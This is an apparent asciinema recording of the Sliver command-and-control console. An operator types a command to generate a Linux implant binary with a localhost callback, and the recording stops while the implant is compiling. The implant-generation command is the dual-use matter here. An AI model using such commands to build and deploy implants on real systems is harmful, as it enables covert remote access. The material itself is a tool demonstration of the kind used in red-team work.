[3.561849, "o", "\u001b[32m\r\r\n ███████╗██╗ ██╗██╗ ██╗███████╗██████╗\r\r\n ██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗\r\r\n ███████╗██║ ██║██║ ██║█████╗ ██████╔╝\r\r\n ╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗\r\r\n ███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║\r\r\n ╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝\r\r\n\u001b[0m\r\nAll hackers gain living weapon\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
[3.566255, "o", "\r\n"]
[3.592346, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[3.594255, "o", "\u001b[1 q"]
[3.596777, "o", "\u001b[?25l"]
[3.597555, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[3.600449, "o", "\u001b[0m\u001b[0K\u001b[49m"]
[3.601115, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
[3.601397, "o", "\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
[4.240694, "o", "\u001b[?25l\u001b[133D"]
[4.241228, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[4.244531, "o", "\u001b[6n"]
[4.251274, "o", "g\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[10D\u001b[9C\u001b[133D\u001b[10C\u001b[?25h"]
[4.351169, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.36482, "o", "ge\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
[4.495238, "o", "\u001b[?25l\u001b[133D"]
[4.500476, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.506985, "o", "gen\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C\u001b[133D\u001b[12C"]
[4.509269, "o", "\u001b[?25h"]
[4.543745, "o", "\u001b[?25l"]
[4.545789, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.54917, "o", "gene\u001b[0m\u001b[0K\u001b[49m"]
[4.550012, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[13D\u001b[9C\u001b[133D\u001b[13C\u001b[?25h"]
[4.685727, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.698542, "o", "gener\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[14D\u001b[9C\u001b[133D\u001b[14C\u001b[?25h"]
[4.786003, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.792822, "o", "genera\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[15D\u001b[9C\u001b[133D\u001b[15C\u001b[?25h"]
[4.992792, "o", "\u001b[?25l\u001b[133D"]
[4.993406, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[4.997917, "o", "generat\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[16D\u001b[9C\u001b[133D\u001b[16C\u001b[?25h"]
[5.008804, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[5.009145, "o", "\u001b[6n"]
[5.013429, "o", "\u001b[1m\u001b[32mgenerate\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
[5.015042, "o", "\u001b[17D\u001b[9C\u001b[133D\u001b[17C\u001b[?25h"]
[5.086232, "o", "\u001b[?25l"]
[5.088629, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.093719, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[18D\u001b[9C\u001b[133D\u001b[18C\u001b[?25h"]
[5.631958, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[5.64081, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[5.642473, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[19D\u001b[9C\u001b[133D\u001b[19C\u001b[?25h"]
[6.02906, "o", "\u001b[?25l"]
[6.029832, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.043398, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[20D\u001b[9C\u001b[133D\u001b[20C\u001b[?25h"]
[6.195146, "o", "\u001b[?25l"]
[6.199877, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.210895, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[21D\u001b[9C\u001b[133D\u001b[21C\u001b[?25h"]
[6.478378, "o", "\u001b[?25l"]
[6.481273, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.490978, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22ml\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[6.492841, "o", "\u001b[133D\u001b[1A\u001b[22D\u001b[9C\u001b[133D\u001b[22C\u001b[?25h"]
[6.653198, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.663722, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlo\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[23D\u001b[9C\u001b[133D\u001b[23C"]
[6.665943, "o", "\u001b[?25h"]
[6.776329, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[6.777007, "o", "\u001b[6n"]
[6.782323, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mloc\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[6.784155, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[24D\u001b[9C\u001b[133D\u001b[24C\u001b[?25h"]
[6.831454, "o", "\u001b[?25l\u001b[133D"]
[6.83308, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[6.837562, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mloca\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
[6.83947, "o", "\u001b[25D\u001b[9C\u001b[133D\u001b[25C\u001b[?25h"]
[6.878725, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[6.879492, "o", "\u001b[6n"]
[6.883392, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocal\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[9C"]
[6.885432, "o", "\u001b[133D\u001b[26C\u001b[?25h"]
[7.212309, "o", "\u001b[?25l"]
[7.219009, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.231271, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
[7.231559, "o", "\u001b[27D\u001b[9C\u001b[133D\u001b[27C\u001b[?25h"]
[7.280913, "o", "\u001b[?25l\u001b[133D"]
[7.281677, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.287498, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalho\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[7.288969, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[9C\u001b[133D\u001b[28C\u001b[?25h"]
[7.344144, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[7.344737, "o", "\u001b[6n"]
[7.349896, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhos\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[9C\u001b[133D\u001b[29C\u001b[?25h"]
[7.459011, "o", "\u001b[?25l"]
[7.459811, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[7.469831, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[7.470447, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[30D\u001b[9C\u001b[133D\u001b[30C\u001b[?25h"]
[7.577106, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[7.582893, "o", "\u001b[6n"]
[7.588532, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[7.589563, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[31D\u001b[9C\u001b[133D\u001b[31C\u001b[?25h"]
[8.661792, "o", "\u001b[?25l\u001b[133D"]
[8.662831, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.668099, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[32D\u001b[9C\u001b[133D\u001b[32C\u001b[?25h"]
[8.781114, "o", "\u001b[?25l"]
[8.785696, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[8.795978, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[33D\u001b[9C"]
[8.797639, "o", "\u001b[133D\u001b[33C\u001b[?25h"]
[9.534462, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[9.549545, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--o\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[9.550816, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[34D\u001b[9C\u001b[133D\u001b[34C\u001b[?25h"]
[9.594709, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[9.596247, "o", "\u001b[6n"]
[9.599261, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[35D\u001b[9C\u001b[133D\u001b[35C\u001b[?25h"]
[9.709504, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[9.71435, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[36D\u001b[9C\u001b[133D\u001b[36C\u001b[?25h"]
[9.947512, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[9.950303, "o", "\u001b[6n"]
[9.955871, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22ml\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[9.95709, "o", "\u001b[133D\u001b[1A\u001b[37D\u001b[9C\u001b[133D\u001b[37C\u001b[?25h"]
[9.991716, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[9.9942, "o", "\u001b[6n"]
[9.998267, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mli\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[38D\u001b[9C\u001b[133D\u001b[38C\u001b[?25h"]
[10.120415, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.128315, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlin\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[10.129932, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[39D\u001b[9C\u001b[133D\u001b[39C\u001b[?25h"]
[10.265526, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[10.269356, "o", "\u001b[6n"]
[10.27651, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinu\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[10.277159, "o", "\u001b[0K"]
[10.277858, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[40D\u001b[9C\u001b[133D\u001b[40C\u001b[?25h"]
[10.444822, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.455164, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[41D"]
[10.456268, "o", "\u001b[9C\u001b[133D\u001b[41C\u001b[?25h"]
[10.597066, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[10.613889, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[42D\u001b[9C\u001b[133D\u001b[42C\u001b[?25h"]
[11.142973, "o", "\u001b[?25l"]
[11.154968, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.161529, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[43D\u001b[9C\u001b[133D\u001b[43C\u001b[?25h"]
[11.322128, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[11.322878, "o", "\u001b[6n"]
[11.329983, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[11.331694, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[44D\u001b[9C\u001b[133D\u001b[44C\u001b[?25h"]
[11.556561, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.571056, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--s\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[11.573097, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[45D\u001b[9C\u001b[133D\u001b[45C\u001b[?25h"]
[11.68511, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.696859, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--sk\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[46D"]
[11.698563, "o", "\u001b[9C\u001b[133D\u001b[46C\u001b[?25h"]
[11.791302, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.79852, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--ski\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[11.800015, "o", "\u001b[133D\u001b[1A\u001b[47D\u001b[9C\u001b[133D\u001b[47C\u001b[?25h"]
[11.913696, "o", "\u001b[?25l"]
[11.914346, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[11.919647, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[11.920552, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[48D\u001b[9C\u001b[133D\u001b[48C\u001b[?25h"]
[12.290841, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[12.309675, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[12.311108, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[49D\u001b[9C\u001b[133D\u001b[49C\u001b[?25h"]
[12.471431, "o", "\u001b[?25l"]
[12.478421, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[12.480196, "o", "\u001b[6n"]
[12.486789, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-s\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[12.487923, "o", "\u001b[133D\u001b[1A\u001b[50D\u001b[9C\u001b[133D\u001b[50C\u001b[?25h"]
[12.764329, "o", "\u001b[1 q"]
[12.803934, "o", "\u001b[1 q"]
[12.8058, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[12.809783, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[12.81029, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[57D\u001b[9C\u001b[133D\u001b[57C\u001b[?25h"]
[14.080367, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[14.091517, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[14.092873, "o", "\u001b[133D\u001b[1A\u001b[58D\u001b[9C\u001b[133D\u001b[58C\u001b[?25h"]
[14.214769, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[14.228498, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[14.229843, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[59D\u001b[9C\u001b[133D\u001b[59C\u001b[?25h"]
[14.414986, "o", "\u001b[?25l"]
[14.42208, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[14.439069, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--d\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[14.440762, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[60D\u001b[9C\u001b[133D\u001b[60C\u001b[?25h"]
[14.490223, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[14.492231, "o", "\u001b[6n"]
[14.497037, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--de\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[61D"]
[14.497271, "o", "\u001b[9C\u001b[133D\u001b[61C\u001b[?25h"]
[14.599131, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[14.601153, "o", "\u001b[6n"]
[14.605548, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--deb\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[14.606542, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[62D\u001b[9C\u001b[133D\u001b[62C\u001b[?25h"]
[14.618408, "o", "\u001b[?25l\u001b[133D"]
[14.618726, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[14.62055, "o", "\u001b[6n"]
[14.625097, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debu\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[14.625437, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[63D\u001b[9C\u001b[133D\u001b[63C\u001b[?25h"]
[14.855902, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[14.86238, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[14.864107, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[64D\u001b[9C\u001b[133D\u001b[64C\u001b[?25h"]
[15.749058, "o", "\u001b[64D\u001b[9C\u001b[6n"]
[15.761286, "o", "\u001b[133D\u001b[64C\u001b[0J\u001b[133D\r\r\n"]
[15.765136, "o", "\u001b[0 q"]
[15.768227, "o", "\r\n"]
[15.803258, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mGenerating new linux/amd64 implant binary\r\n"]
[15.904149, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[16.005203, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[16.105965, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[16.206781, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[16.311194, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[16.41465, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[16.51803, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[16.623758, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[16.718871, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[16.819526, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
